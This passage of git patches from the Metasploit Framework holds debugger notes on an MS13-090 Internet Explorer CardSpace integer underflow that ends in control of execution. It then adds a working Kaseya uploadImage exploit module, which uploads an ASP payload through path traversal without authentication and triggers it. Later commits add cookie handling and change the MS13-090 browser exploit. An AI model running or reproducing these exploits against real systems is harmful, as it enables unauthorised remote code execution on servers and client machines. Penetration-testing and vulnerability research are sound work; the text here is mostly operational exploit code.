ds:0023:0035da48=feffffff +0:008> g +Breakpoint 0 hit +eax=03672274 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffd +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=fdffffff +0:008> g +Breakpoint 0 hit +eax=03672270 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffc +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=fcffffff +0:008> g +Breakpoint 0 hit +eax=0367226c ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffb +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=fbffffff +0:008> g +Breakpoint 0 hit +eax=03672268 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffa +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=faffffff +0:008> g +Breakpoint 0 hit +eax=03672264 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffff9 +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=f9ffffff +0:008> g + +(2) The second problem happens on CCardSpaceClaimCollection::add + +First of all the SafeArray Container is get: + +.text:00409C0A mov esi, [ebp+arg_0] +.text:00409C0D call ?GetInnerArray@CCardSpaceClaimCollection@@AAEPAUtagSAFEARRAY@@XZ ; C + + and its capacity checked, so if needed it's going to be resized + +.text:00409C20 loc_409C20: ; CODE XREF: CCardSpaceClaimCollection::add(tagVARIANT *)+48j +.text:00409C20 mov ebx, [esi+8] ; The number of elements +.text:00409C23 inc ebx ; The number of elements incremented +.text:00409C24 call ?GrowInnerArrayIfRequired@CCardSpaceClaimCollection@@AAEJJ@Z ; + +In order to check if the SafeArray needs to be resized GrowInnerArrayIfRequired checks +the length of the CCardSpaceClaimCollection(underflowed) against the capacity of the SafeArray, +since the comparision is signed, nothing is resized: + +0:008> g +Breakpoint 4 hit +eax=00000000 ebx=fffffff9 ecx=00000009 edx=0000000a esi=0035e6b8 edi=00242b44 +eip=036a9e41 esp=0201f3d0 ebp=0201f3dc iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 +icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x2e: +036a9e41 3bda cmp ebx,edx +0:008> r ebx, edx +ebx=fffffff9 edx=0000000a + +Since the comparision is signed, nothing is resized: + +0:008> t +eax=00000000 ebx=fffffff9 ecx=00000009 edx=0000000a esi=0035e6b8 edi=00242b44 +eip=036a9e43 esp=0201f3d0 ebp=0201f3dc iopl=0 nv up ei ng nz ac po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292 +icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x30: +036a9e43 7e1f jle icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x51 (036a9e64) [br=1] + +In order to proceed to modify the SafeArray, "add" saves a pointer to the data (ppvData) into a local variable: + +.text:00409C2F lea eax, [ebp+ppvData] +.text:00409C32 push eax ; ppvData +.text:00409C33 push [ebp+psa] ; psa +.text:00409C36 call ds:__imp__SafeArrayAccessData@8 ; SafeArrayAccessData(x,x) + +Then an String witht the user controlled contents is created, and a pointer to the contents is stored +into the ppvData. Unfortunately, the underflowed length address is used to calculate where to store the +thing: + +.text:00409C51 push dword ptr [edi+8] ; psz +.text:00409C54 call ds:__imp__SysAllocString@4 ; SysAllocString(x) +.text:00409C5A mov ecx, [esi+8] +.text:00409C5D mov edx, [ebp+ppvData] +.text:00409C60 mov [edx+ecx*4], eax ; edx pointer to ppvdata, ecx is the corrupted CCardSpaceClaimCollection length + +Finally the CCardSpaceClaimCollection size is incremented: +.text:00409C63 inc dword ptr [esi+8] + +When debugging : + +0:008> t +eax=001f5884 ebx=00000000 ecx=fffffff8 edx=00000028 esi=0035e6b8 edi=00242b44 +eip=036a9c5d esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 +icardie!CCardSpaceClaimCollection::add+0x8e: +036a9c5d 8b55f8 mov edx,dword ptr [ebp-8] ss:0023:0201f3f0=10798a03 +0:008> t + +Here the underflow happens edx+ecx*4 points to 038a78f0, which is below 038a7910, +where ppvData lives: + +eax=001f5884 ebx=00000000 ecx=fffffff8 edx=038a7910 esi=0035e6b8 edi=00242b44 +eip=036a9c60 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 +icardie!CCardSpaceClaimCollection::add+0x91: +036a9c60 89048a mov dword ptr [edx+ecx*4],eax ds:0023:038a78f0=00000000 +0:008> t +eax=001f5884 ebx=00000000 ecx=fffffff8 edx=038a7910 esi=0035e6b8 edi=00242b44 +eip=036a9c63 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 +icardie!CCardSpaceClaimCollection::add+0x94: +036a9c63 ff4608 inc dword ptr [esi+8] ds:0023:0035e6c0=f8ffffff + +Later the overwritten object is used, its memory dereferenced and control of the execution flow is possible: + +0:008> g +(b4c.b70): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=001f5884 ebx=00000000 ecx=038a78e0 edx=0201f5e4 esi=00000002 edi=036d150c +eip=cccccccc esp=0201f5b4 ebp=0201f5c0 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +cccccccc ?? ??? +0:008> dd ecx +038a78e0 63ab1b18 00000002 6363fbe4 03894d38 +038a78f0 001f5884 00000000 00000000 00000000 +038a7900 00000000 00000000 00000000 00000000 +038a7910 00000000 00000000 00000000 00000000 +038a7920 00000000 00000000 00000000 00000000 +038a7930 00000000 00000000 e8319dff ff080100 +038a7940 63ab1b18 00000001 6363fbe4 03894f08 +038a7950 63767260 00000000 00000000 00020000 +0:008> db 001f5884 +001f5884 bb bb bb bb cc cc cc cc-cc cc cc cc cc cc cc cc ................ +001f5894 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ +001f58a4 cc cc cc cc cc cc cc cc-00 00 00 00 e6 7e a1 ea .............~.. +001f58b4 00 01 08 ff 70 18 5c 75-2c 18 5c 75 02 00 00 00 ....p.\u,.\u.... +001f58c4 e8 ac 9c 02 00 00 00 80-f3 1b 5d 75 b8 58 1f 00 ..........]u.X.. +001f58d4 48 00 9c 02 84 14 5c 75-e8 ac 9c 02 1b 00 00 00 H.....\u........ +001f58e4 e8 52 19 00 ed 7e a1 ea-00 01 08 ff 08 00 00 00 .R...~.......... +001f58f4 90 01 00 00 f0 00 00 00-00 00 00 00 01 00 00 00 ................ +=end \ No newline at end of file From 636fdfe2d2bb0568e2fe0910ab9326ff0e5efb2a Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Mon, 18 Nov 2013 14:23:34 +1300 Subject: [PATCH 029/217] Added Kaseya uploadImage exploit. --- .../http/kaseya_uploadimage_file_upload.rb | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb new file mode 100644 index 0000000000..825c24827e --- /dev/null +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -0,0 +1,93 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kaseya uploadImage Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability found in Kaseya 6.3.0.0 + A malicious user can upload a file to an arbitrary directory without authentication, which can result in arbitrary code execution. +Code executed in this manner runs under the IUSR account. + }, + 'Author' => + [ + 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Arch' => ARCH_x86, + 'Targets' => + [ + [ 'Kaseya KServer / Windows', {} ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'some point....')) + + register_options( + [ + Opt::RPORT(80), Opt::RHOST() + ], self.class) + end + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp') + }) + + if not res or res.code != 200 + return Exploit::CheckCode::Unknown + end + + return Exploit::CheckCode::Appears + end + + def exploit + peer = "#{rhost}:#{rport}" + + @payload_name = "#{rand_text_alpha_lower(8)}.asp" + exe = generate_payload_exe + asp = Msf::Util::EXE.to_exe_asp(exe) + + data = Rex::MIME::Message.new + data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"#{payload_name}\"") + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp?filename=..\..\..\#{payload_name}'), + 'data' => data, + 'headers' => { + 'ctype' => 'multipart/form-data; boundary=#{data.bound}' + } + }) + if not res or res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload #{@payload_name}") + res = send_request_raw({ + 'uri' => normalize_uri(@payload_name), + 'method' => 'GET' + }) + end +end From 60a245b0c37d529bc3f1cf7b96d21fff08ddbb1d Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Mon, 18 Nov 2013 14:49:03 +1300 Subject: [PATCH 030/217] Fix the arch declaration in uploaded module. --- .../http/kaseya_uploadimage_file_upload.rb | 62 ++++++++++++------- 1 file changed, 41 insertions(+), 21 deletions(-) mode change 100644 => 100755 modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb old mode 100644 new mode 100755 index 825c24827e..11fd17e77b --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -24,7 +24,7 @@ Code executed in this manner runs under the IUSR account. }, 'Author' => [ - 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + 'Thomas Hibbert' # cartel ], 'License' => MSF_LICENSE, 'References' => @@ -35,7 +35,7 @@ Code executed in this manner runs under the IUSR account. 'BadChars' => "\x00", }, 'Platform' => 'win', - 'Arch' => ARCH_x86, + 'Arch' => ARCH_X86, 'Targets' => [ [ 'Kaseya KServer / Windows', {} ], @@ -62,6 +62,21 @@ Code executed in this manner runs under the IUSR account. return Exploit::CheckCode::Appears end + def get_cookie + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("SystemTab", "uploadImage.asp") + }) + + if res and res.headers['Set-Cookie'] + cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] + else + fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue") + end + + cookie + end + def exploit peer = "#{rhost}:#{rport}" @@ -69,25 +84,30 @@ Code executed in this manner runs under the IUSR account. exe = generate_payload_exe asp = Msf::Util::EXE.to_exe_asp(exe) - data = Rex::MIME::Message.new - data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"#{payload_name}\"") + post_data = Rex::MIME::Message.new + post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"..\\#{@payload_name}\"") - res = send_request_raw({ - 'method' => 'POST', - 'uri' => normalize_uri('SystemTab','uploadImage.asp?filename=..\..\..\#{payload_name}'), - 'data' => data, - 'headers' => { - 'ctype' => 'multipart/form-data; boundary=#{data.bound}' - } - }) - if not res or res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") - end - print_status("#{peer} - Executing payload #{@payload_name}") - res = send_request_raw({ - 'uri' => normalize_uri(@payload_name), - 'method' => 'GET' - }) + data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + cookie = get_cookie + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp?filename=..\..\..\..\\'+@payload_name), + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie + }) + + if not res or res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload #{@payload_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(@payload_name), + 'method' => 'GET' + }) end -end + end + From 237bb227716d17d819bf3b9d50e952ee36e417d6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Nov 2013 08:54:22 -0600 Subject: [PATCH 031/217] Disable auto migrate --- .../windows/browser/ms13_090_cardspacesigninhelper.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index e800c4120d..8ec4f40f8e 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -56,10 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote "\x8b\x20" + # mov esp, [eax] "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, 'Platform' => 'win', 'BrowserRequirements' => { @@ -83,11 +79,6 @@ class Metasploit3 < Msf::Exploit::Remote 'DisclosureDate' => "Nov 08 2013", 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class - ) end def exploit_template(cli, target_info) @@ -124,6 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote